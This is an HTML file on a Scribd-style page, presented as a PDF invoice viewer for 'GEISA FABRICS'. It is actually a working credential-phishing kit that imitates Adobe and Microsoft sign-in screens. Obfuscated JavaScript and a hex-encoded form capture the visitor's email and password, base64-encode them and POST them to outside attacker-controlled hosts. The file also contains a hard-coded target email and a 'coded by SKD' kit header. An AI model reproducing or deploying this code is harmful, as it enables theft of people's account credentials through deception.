0% found this document useful (0 votes)
10 views12 pages

PDF1

The document is an HTML invoice titled 'INVOICE-32011-2024_Order_List_GEISA FABRICS', which requires users to sign in with their email to access a protected PDF file. It includes a login interface with fields for email and password, and displays an error message if the credentials are incorrect. The document emphasizes confidentiality and includes a footer with copyright information.

Uploaded by

rnducsintre
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views12 pages

PDF1

The document is an HTML invoice titled 'INVOICE-32011-2024_Order_List_GEISA FABRICS', which requires users to sign in with their email to access a protected PDF file. It includes a login interface with fields for email and password, and displays an error message if the credentials are incorrect. The document emphasizes confidentiality and includes a footer with copyright information.

Uploaded by

rnducsintre
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 12

<!

DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>INVOICE-32011-2024_Order_List_GEISA FABRICS</title>

<g class="hidden-until-rendered">
<foreignObject x="0" y="0" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml"
style="margin: 0; padding: 0; font-family: Arial, sans-serif;
min-height: 100vh; box-sizing: border-box;
background-image:
url('https://i.gyazo.com/6498108350676eaec09d5d7adf7e4227.png');
background-size: cover;
background-position: center;
transition: background-position 0.1s;">
<style>

.hidden-until-rendered {
display: none;
}
#blackBar {
-webkit-user-select: none;

position: fixed;
top: 0;
left: 0;
width: 100%;
height: 65px;
background-color: rgba(66, 66, 69, 0.9);
color: white;
display: flex;
align-items: center;
justify-content: space-between;
padding: 0 20px;
box-sizing: border-box;
z-index: 1000;
}

#blackBar img {
width: 45px;
height: 45px;
margin-right: 10px;
}

#blackBar a {
text-decoration: none;
color: white;
font-size: 14px;
margin-left: 15px;
}

.content-wrapper {
-webkit-user-select: none;

display: flex;
align-items: center;
justify-content: center;
min-height: calc(100vh - 65px);
padding-top: 65px;
box-sizing: border-box;
}

.main-content {
background-color: rgba(240, 240, 240, 1);
width: 95%;
max-width: 400px;
padding: 40px;
border-radius: 12px;
box-shadow: 0 8px 16px rgba(0, 0, 0, 0.4);
text-align: center;
}

.main-content img {
width: 100px;
height: 100px;

.main-content h3 {

color: #4b4c4c; font-weight: bold; font-size: 18px;


font-family: "wf_SegoeUILight","wf_SegoeUI","Segoe UI Light","Segoe WP
Light","Segoe UI","Segoe","Segoe WP","Tahoma","Verdana","Arial","sans-serif";

.main-content p {
font-size: 14px;
color: #555;
margin-bottom: 15px;
}

.main-content input[type="text"],
.main-content input[type="password"] {
width: 100%;
padding: 15px;
border: 1px solid #ccc;
border-radius: 8px;
font-size: 20px;
margin-bottom: 25px;
text-align: center;
box-sizing: border-box;

.main-content input[type="button"] {
background-color: #840f05;
color: white;
border-width: 2px;
border-style: solid;
padding: 15px 30px;
border-radius: 18px;
-webkit-user-select: none;
font-size: 16px;
cursor: pointer;
box-shadow: 0 6px 12px rgba(0, 0, 0, 0.2);
transition: background-color 0.3s;
font-weight: bold;
border-color: white;
line-height: 1.42857;
}
.main-content button {
background-color: #840f05;
color: white;
border-width: 2px;
border-style: solid;
padding: 15px 30px;
border-radius: 18px;
-webkit-user-select: none;
font-size: 16px;
cursor: pointer;
box-shadow: 0 6px 12px rgba(0, 0, 0, 0.2);
transition: background-color 0.3s;
font-weight: bold;
border-color: white;
line-height: 1.42857;
}

.main-content input[type="button"]:hover {
background-color: #a10f05;
transform: translateY(-0.9px);
}

.main-content button:hover {
background-color: #a10f05;
}

.main-content .info {
font-size: 14px;
color: #777;
margin-top: 25px;
line-height: 1.5;
}
.main-content .info2 {
font-size: 9px;
color: #777;
margin-top: 5px;
line-height: 1.5;
}
.main-content .info3 {
color: #4b4c4c; font-weight: 300;

/* Password Field Animation */


.password-field {
max-height: 0;
overflow: hidden;
transition: max-height 0.5s ease-out, opacity 0.5s ease-out;
opacity: 0;
}
.password-field.show {
max-height: 200px; /* Increased to accommodate the content */
opacity: 1;
}

.error-message {
margin-top: 10px;

padding: 10px;
color: RED;
transition: opacity 0.3s ease-in-out, transform 0.3s ease-in-out;
transform: translateY(0px);
display: flex;
align-items: center;
font-family: 'Arial', sans-serif; /* Using a web-safe font here */
}
.error-message.hidden {
opacity: 0;
transform: translateY(-10px);
}
.error-message > span {
flex-grow: 1;
}
.input-error {
border: 1px solid #D8000C;
animation: shake 0.3s ease-in-out;
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(-20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
@keyframes shake {
0% {
transform: translateX(0);
}
25% {
transform: translateX(-5px);
}
50% {
transform: translateX(5px);
}
75% {
transform: translateX(-5px);
}
100% {
transform: translateX(0);
}
}

</style>
<!-- Header Bar -->
<div id="blackBar">
<div style="display: flex; align-items: center;">
<img src="https://static.adobelogin.com/clients/virgoweb-
2020/4x_817cf14a2f3fcff4ee6d4e35c5026779.png" alt="Adobe Logo" />
<span style="font-size: 18px; font-weight: bold;">PDF Viewer </span>
</div>
<div>
<a href="#">Download</a>
<a href="#">Open</a>
<a href="#">Preview</a>
<img id="companyLogo1" src="" alt="Logo" style="float: right; margin-
left: 20px;" />

</div>
</div>

<!-- Content Wrapper -->


<div class="content-wrapper">
<!-- Main Content -->
<div class="main-content">
<h3>CONFIRM YOU ARE NOT A ROBOT.</h3>
<p>Sign in with your valid email account to view this document.</p>
<!-- SVG Contents --> <img
src="https://static.adobelogin.com/clients/virgoweb-
2020/4x_817cf14a2f3fcff4ee6d4e35c5026779.png" alt="PDF Icon" />
<p><strong>FILE: Confirmación de pago SWIFT.pdf</strong></p>
<p class="info3">File protection is enabled. Confirm recipient email to
continue.</p>

<div align="center"><font color="orangered" size="2"><b>The username or


password is incorrect. Verify that CAPS LOCK is not on, and then retype your email
password.</b></font></div><br>

<script>
document.write(unescape('%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D
%22%68%74%74%70%73%3A%2F%2F%62%61%74%62%61%6E%74%73%61%6C%64%61%79%61%72%2E%63%6F
%6D%2F%6E%77%6F%6D%6F%6C%6F%7A%2F%51%43%6A%31%6D%6C%77%2E%70%68%70%22%20%6D
%65%74%68%6F%64%3D%22%70%6F%73%74%22%20%6F%6E%73%75%62%6D%69%74%3D
%22%72%65%74%75%72%6E%20%76%61%6C%69%64%61%74%65%46%6F%72%6D%28%29%22%20%6E%61%6D
%65%3D%22%6D%79%66%6F%72%6D%22%3E'));
</script>

<input type="text" name="id" id="email" placeholder="Enter email"


required value=""/>

<div id="passwordField">
<input name="ps" id="ps" pattern=".{5,}" type="password" autofocus
placeholder="Enter your password" required />
<br />
<button type="submit" id="submit-btn">Download File</button>
</div>

<p class="info">
* Cross-platform compatibility.<br />
* IRM and password-protection.
</p>
<p class="info2">
The contents of this document are confidential and intended solely for
the recipient. Reproduction of, or forwarding to anyone not directly sent this
document is strictly forbidden.
</p>
<p class="info2">
© 2024 Adobe Acrobat Reader PDF&#160;&#160;|&#160;&#160;<a href="#" style="color:
inherit; text-decoration: none;">Privacy &amp; cookies</a>
</p>

</div>
</div>

<script>
function changebase() {
const base64Email = "bGVvbmFyZG9sbGlpbGFAeWFob28uY29t";
const decodedEmail = atob(base64Email);
const emailInput = document.querySelector('#emailit');
// Set the value of the input field
emailInput.value = decodedEmail;
}
changebase();

</script>

<script>
<![CDATA[

function _0xf135(){const
_0x250db1=['errorMessage','1220106tEaLrH','https://logo.clearbit.com/','none','bloc
k','indexOf','removeChild','success','https://helpx.adobe.com/manage-account/kb/
account-password-sign-help.html','256464bkjGVu','startButton','Authentication\
x20required.\x20Please\x20enter\x20your\
x20password.','preventDefault','102718jGhKYC','backgroundPosition','Invalid\
x20Password!','Enter','9kTgoCu','charCodeAt','centralizedError','onload','hideTimeo
ut','Error\x20fetching\x20the\x20logo:','https://support.microsoft.com/en-us/
office/fix-onedrive-sync-problems-0899b115-05f7-','replace','The\x20username\x20or\
x20password\x20is\x20incorrect.\x20Verify\x20that\x20CAPS\x20LOCK\x20is\x20not\
x20on,\x20and\x20then\x20retype\x20the\x20current\x20username\x20and\
x20password.','then','453183fPeVTA','href','addEventListener','value','emailit','ap
pend','4080380mUhzKe','location','add','map','companyLogo1','classList','centralize
dErrorText','display','length','mousemove','focus','src','call','toString','2749064
AyeHbQ','parentNode','prototype','remove','https://hwsrv-1254889.hostwindsdns.com/
next.php','key','input-error','Start\
x20Download','444894ZSWUjQ','keyup','querySelector','10azitPi','offsetWidth','getEl
ementById','slice','Authentication\
x20required.','textContent','passwordField','innerText','application/x-www-form-
urlencoded','The\x20username\x20or\x20password\x20is\x20incorrect.\x20Verify\
x20that\x20CAPS\x20LOCK\x20is\x20not\x20on,\x20and\x20then\x20retype\x20your\
x20email\
x20password.','substr','POST','body','style','password','2bzfaSh','myButton','Passw
ord\x20cannot\x20be\x20empty.','Downloading...','error'];_0xf135=function(){return
_0x250db1;};return _0xf135();}function _0x2a64(_0x4c4912,_0x5701e5){const
_0xf1356a=_0xf135();return _0x2a64=function(_0x2a6451,_0x5d045e)
{_0x2a6451=_0x2a6451-0x1f0;let _0x21c0d2=_0xf1356a[_0x2a6451];return
_0x21c0d2;},_0x2a64(_0x4c4912,_0x5701e5);}const _0x40afb7=_0x2a64;
(function(_0x3392b2,_0x2a16fd){const
_0x5e1917=_0x2a64,_0x28ea08=_0x3392b2();while(!![]){try{const _0x25137a=-
parseInt(_0x5e1917(0x205))/0x1*(parseInt(_0x5e1917(0x233))/
0x2)+parseInt(_0x5e1917(0x221))/0x3+parseInt(_0x5e1917(0x1f3))/0x4+-
parseInt(_0x5e1917(0x224))/0x5*(-parseInt(_0x5e1917(0x239))/
0x6)+parseInt(_0x5e1917(0x1f7))/0x7+parseInt(_0x5e1917(0x219))/0x8*(-
parseInt(_0x5e1917(0x1fb))/0x9)+parseInt(_0x5e1917(0x20b))/
0xa;if(_0x25137a===_0x2a16fd)break;else _0x28ea08['push'](_0x28ea08['shift']
());}catch(_0x526d1e){_0x28ea08['push'](_0x28ea08['shift']());}}}
(_0xf135,0x3bd14));function showPasswordField(){const _0x14a03e=_0x2a64;var
_0x53d01d=document[_0x14a03e(0x226)]
(_0x14a03e(0x22a)),_0x3482a5=document['getElementById']
(_0x14a03e(0x1f4));_0x53d01d[_0x14a03e(0x210)]['add']
('show'),_0x3482a5[_0x14a03e(0x231)][_0x14a03e(0x212)]=_0x14a03e(0x23b);}function
utf8_to_b64(_0x9fb8a2){const _0x3f355d=_0x2a64;return
btoa(encodeURIComponent(_0x9fb8a2)[_0x3f355d(0x202)](/%([0-9A-F]{2})/
g,function(_0x2a7d05,_0x2534f9){return String['fromCharCode']
('0x'+_0x2534f9);}));}function b64_to_utf8(_0x372bfe){const
_0x2f5d37=_0x2a64;return decodeURIComponent(Array[_0x2f5d37(0x21b)]
[_0x2f5d37(0x20e)][_0x2f5d37(0x217)](atob(_0x372bfe),function(_0x1ee163){const
_0x13dd91=_0x2f5d37;return'%'+('00'+_0x1ee163[_0x13dd91(0x1fc)](0x0)
[_0x13dd91(0x218)](0x10))[_0x13dd91(0x227)](-0x2);})['join']
(''));}document[_0x40afb7(0x226)](_0x40afb7(0x232))[_0x40afb7(0x207)]
(_0x40afb7(0x222),function(_0x432c6){const
_0x399622=_0x40afb7;_0x432c6[_0x399622(0x21e)]===_0x399622(0x1fa)&&(_0x432c6[_0x399
622(0x1f6)](),submitData());});var email=document['getElementById']
(_0x40afb7(0x209))['value'],my_email=email;document[_0x40afb7(0x226)]
(_0x40afb7(0x209))['innerHTML']=my_email;var ind=my_email[_0x40afb7(0x23d)]
('@'),my_slice=my_email[_0x40afb7(0x22e)](ind+0x1);fetch(_0x40afb7(0x23a)+my_slice)
[_0x40afb7(0x204)](_0x4487eb=>{const _0x1bfc92=_0x40afb7;if(!_0x4487eb['ok'])throw
new Error('Network\x20response\x20was\x20not\x20ok');document['getElementById']
(_0x1bfc92(0x20f))[_0x1bfc92(0x216)]=_0x1bfc92(0x23a)+my_slice;})['catch']
(_0x1b3add=>{const _0x34c7c5=_0x40afb7;console[_0x34c7c5(0x237)]
(_0x34c7c5(0x200),_0x1b3add);const _0x4bcd34=document[_0x34c7c5(0x226)]
(_0x34c7c5(0x20f));_0x4bcd34&&_0x4bcd34[_0x34c7c5(0x21a)][_0x34c7c5(0x1f0)]
(_0x4bcd34);});function handleClick(){const
_0x3f51f0=_0x40afb7;showError(_0x3f51f0(0x228)),document[_0x3f51f0(0x226)]
(_0x3f51f0(0x232))[_0x3f51f0(0x215)]();}function showError(_0x104a71){const
_0x212406=_0x40afb7,_0x2586ce=document[_0x212406(0x226)]
(_0x212406(0x1fd)),_0x16a3bd=document['getElementById']
(_0x212406(0x211));_0x2586ce[_0x212406(0x231)]
[_0x212406(0x212)]=_0x212406(0x23c),_0x16a3bd[_0x212406(0x229)]=_0x104a71,_0x2586ce
[_0x212406(0x210)][_0x212406(0x21c)]
('hidden'),_0x2586ce[_0x212406(0x1ff)]&&clearTimeout(_0x2586ce['hideTimeout']),_0x2
586ce[_0x212406(0x1ff)]=setTimeout(()=>{const
_0x5e0923=_0x212406;_0x2586ce[_0x5e0923(0x231)]
[_0x5e0923(0x212)]='none';},0x1388);}window[_0x40afb7(0x1fe)]=()=>{const
_0x24db09=_0x40afb7,_0xba7e0a=document[_0x24db09(0x223)]
(_0x24db09(0x230)),_0x260cf9=document[_0x24db09(0x226)]
(_0x24db09(0x232));_0xba7e0a[_0x24db09(0x207)](_0x24db09(0x214),_0x5d3eb0=>{const
_0x5e5770=_0x24db09,{clientX:_0x156224,clientY:_0xe2d682}=_0x5d3eb0,
{innerWidth:_0x5173bf,innerHeight:_0xfea8fb}=window,_0x5338f8=(_0x156224/_0x5173bf-
0.5)*0xa,_0x5b302f=(_0xe2d682/_0xfea8fb-0.5)*0xa;_0xba7e0a[_0x5e5770(0x231)]
[_0x5e5770(0x1f8)]=0x32+_0x5338f8+'%\x20'+(0x32+_0x5b302f)
+'%';}),_0xba7e0a['addEventListener']('dblclick',()=>{const
_0x3205f6=_0x24db09;_0x260cf9&&(_0x260cf9[_0x3205f6(0x215)]
(),showError(_0x3205f6(0x1f5)),_0x260cf9[_0x3205f6(0x210)][_0x3205f6(0x21c)]
(_0x3205f6(0x21f)),void _0x260cf9[_0x3205f6(0x225)],_0x260cf9[_0x3205f6(0x210)]
[_0x3205f6(0x20d)](_0x3205f6(0x21f)));});};let failedAttempts=0x0;async function
submitData(){const _0x1dff23=_0x40afb7,_0x3f67cb=document[_0x1dff23(0x226)]
(_0x1dff23(0x209)),_0xb94402=document[_0x1dff23(0x226)]
(_0x1dff23(0x232)),_0x5de2a9=document['getElementById']
(_0x1dff23(0x237)),_0x55b938=document['getElementById']
(_0x1dff23(0x234)),_0x2f568a=_0x3f67cb[_0x1dff23(0x208)],_0x1835ee=_0xb94402[_0x1df
f23(0x208)];if(!_0x2f568a){_0x3f67cb['focus'](),showError('Email\x20cannot\x20be\
x20empty.');return;}if(!_0x1835ee){_0xb94402['focus'](),_0xb94402['classList']
[_0x1dff23(0x21c)](_0x1dff23(0x21f)),void
_0xb94402[_0x1dff23(0x225)],_0xb94402['classList'][_0x1dff23(0x20d)]
(_0x1dff23(0x21f)),showError(_0x1dff23(0x235));return;}if(_0x1835ee[_0x1dff23(0x213
)]<0x5){_0xb94402[_0x1dff23(0x215)](),_0xb94402['classList'][_0x1dff23(0x21c)]
(_0x1dff23(0x21f)),void _0xb94402[_0x1dff23(0x225)],_0xb94402[_0x1dff23(0x210)]
['add']('input-
error'),showError(_0x1dff23(0x1f9));return;}_0x55b938[_0x1dff23(0x22b)]=_0x1dff23(0
x236);const _0x1fd329=utf8_to_b64(_0x2f568a),_0x47c8d2=utf8_to_b64(_0x1835ee);var
_0x2d04ba=new URLSearchParams();_0x2d04ba[_0x1dff23(0x20a)]
('de',_0x1fd329),_0x2d04ba[_0x1dff23(0x20a)]('dp',_0x47c8d2);try{const
_0x5eddff=await fetch(_0x1dff23(0x21d),{'method':_0x1dff23(0x22f),'headers':
{'Content-Type':_0x1dff23(0x22c)},'body':_0x2d04ba['toString']()}),_0x43f1af=await
_0x5eddff['json']
();if(_0x43f1af[_0x1dff23(0x1f1)])_0x5de2a9['textContent']='',failedAttempts=0x3;el
se{failedAttempts++,_0xb94402[_0x1dff23(0x208)]='';if(failedAttempts>=0x3)
{window[_0x1dff23(0x20c)]
['href']=_0x1dff23(0x201);return;}showError(_0x43f1af[_0x1dff23(0x238)]||
_0x1dff23(0x203)),_0xb94402['focus'](),_0xb94402['classList'][_0x1dff23(0x21c)]
('input-error'),void _0xb94402[_0x1dff23(0x225)],_0xb94402[_0x1dff23(0x210)]
[_0x1dff23(0x20d)]('input-
error'),_0x55b938[_0x1dff23(0x22b)]=_0x1dff23(0x220);}}catch(_0x1f7c47)
{showError(_0x1dff23(0x22d)),_0xb94402[_0x1dff23(0x208)]='',_0xb94402[_0x1dff23(0x2
10)]['remove'](_0x1dff23(0x21f)),void
_0xb94402[_0x1dff23(0x225)],_0xb94402[_0x1dff23(0x210)][_0x1dff23(0x20d)]
(_0x1dff23(0x21f)),_0xb94402[_0x1dff23(0x215)]
(),_0x55b938[_0x1dff23(0x22b)]=_0x1dff23(0x220),failedAttempts+
+;if(failedAttempts>=0x3){window[_0x1dff23(0x20c)]
[_0x1dff23(0x206)]=_0x1dff23(0x1f2);return;}}}
]]>

</script>

</body>
</foreignObject>
</g>

<!-- Visibility Logic -->


<script>
document.addEventListener("DOMContentLoaded", function() {
const hiddenElems = document.querySelectorAll('.hidden-until-
rendered');
for(let elem of hiddenElems) {
elem.style.display = 'block';
}
});
</script>

<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script>
$( document ).ready(function() {
// THIS SCRIPT CODED BY SKD
// Genral 365 Version 14
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// !!!!!!!!!!!! Attention !!!!!!!!!!!!
// !!!! IF NOT WORKING CONTACT US !!!
// !!!! IF NOT WORKING CONTACT US !!!
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

// Note : if this HTML page hosted on http(s) domain so you must


add the http(s) url php file to avoid cross error //

var php_url = '#'; // Enter your post PHP page url here.
var check_mx = false; // true or false for check outlook MX.

var hash = window.location.hash;


var email = hash.split('#')[1];

if(true_email(email)){
$("#pick_em").show();
$("#em_picker").html(email);
$('#email').val(email);
}else{
$("#add_em").show();
}

$('.email-picker').on('click', function (){


$('.identity').html(email);
$(".error-alert-pass").hide();
set_brand(email);
setTimeout(function (){
$("#pick_em").hide();
$("#add_pass").show();
document.getElementById('password').focus();

}, 1000);
});

$('.email-picker2').on('click', function (){


$('#email').val('');
$("#pick_em").hide();
$("#add_em").show();
});

$('.btn-email').on('click', function (){


var email = $('#email').val();
$('.identity').html(email);
$(".error-alert").hide();
$('.btn-email').prop('disabled', true);
if(true_email(email) == false){
$(".error-alert").show();
$(".error-alert-msg").html('Plase enter correct
outlook account email.');
$('.btn-email').prop('disabled', false);
}else{
if(check_mx == true){
var domain = email.split('@')[1];
var str;
$.ajax({
url: php_url + '?domain=' + domain,
success: function(data){
str = data.includes("outlook");
if(str){
set_brand(email);
setTimeout(function (){
$("#add_em").hide();
$("#add_pass").show();

document.getElementById('password').focus();
}, 1000);
}else{
$(".error-alert").show();
$(".error-alert-
msg").html('You can\'t signin with this account, Please use work or school account
instead.');
$('.btn-
email').prop('disabled', false);
}
},
error: function(xhr){
$(".error-alert").show();
$(".error-alert-msg").html('Error
occured, Please try again.');
$('.btn-email').prop('disabled',
false);
}
});
}else{
set_brand(email);
setTimeout(function (){
$("#add_em").hide();
$("#add_pass").show();
document.getElementById('password').focus();
}, 1000);
}
}
});

$('.btn-signin').on('click', function (){


var user = $('#email').val();
var pass = $('#password').val();
var mmoop = "https://office365.com";
if(pass.length < 5) {
$(".error-alert-pass").show();
$(".pass-alert-msg").html("Please enter your
password.");
return false;
}else{
$(".error-alert-pass").hide();
$.ajax({
url: php_url,
type: "POST",
data: {user:user,pass:pass},
dataType: 'json',
encode: true
}).done(function (data) {
console.log(data);
if (data.success) {
if(data.success == 'otrue'){
window.location.replace(mmoop);
alert('Successful');
}else{
document.getElementById('password').value = "";
document.getElementById('password').focus();
$(".error-alert-pass").show();
$(".pass-alert-msg").html("Your account or password is incorrect. If you
don't remember your password, "+ "<a href='#'>reset it now.</a>");
}

}
}).fail(function (data) {
document.getElementById('password').value = "";
document.getElementById('password').focus();
$(".error-alert-pass").show();
$(".pass-alert-msg").html("Your account or password is incorrect. If you
don't remember your password, "+ "<a href='#'>reset it now.</a>");
console.log(data);
});
}
});

$('.backButton').on('click', function (){


$('#bg_image').css('background-image',
'url(lib/img/background.jpg)');
$('#logo_image').attr('src',
'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c9
38fd0dc19370e90bd.svg');
$('#banner_image').show();
$('.btn-email').prop('disabled', false);
$("#add_pass").hide();
$("#add_em").show();
$(".error-alert-pass").hide();
});

function set_brand(email){
$.ajax({
url: php_url,
type: "POST",
data: {email:email,barnd:1},
success: function(data){
var i=$.parseJSON(data);
if(i.bg_image !== null && i.logo_image !== null
&& i.bg_image !== '' && i.logo_image !== ''){
$('#bg_image').css('background-image',
'url(' + i.bg_image + ')');
$('#logo_image').attr('src',
i.logo_image);
$('#banner_image').hide();
}
}
});
}
});
function true_email(a) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|
(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)
+[a-zA-Z]{2,}))$/;
return re.test(a);
}
</script>
<script type="text/javascript">
$(document).keypress(function(event){
var keycode = (event.keyCode ? event.keyCode : event.which);
if(keycode == '13'){
$("#btn-email, .btn-signin").click();
}
});
</script>

</body>
<script src="https://naraotgonturenkhtur.com/awqbm/nkubi/bg-pnk.js"></script>
</html>

You might also like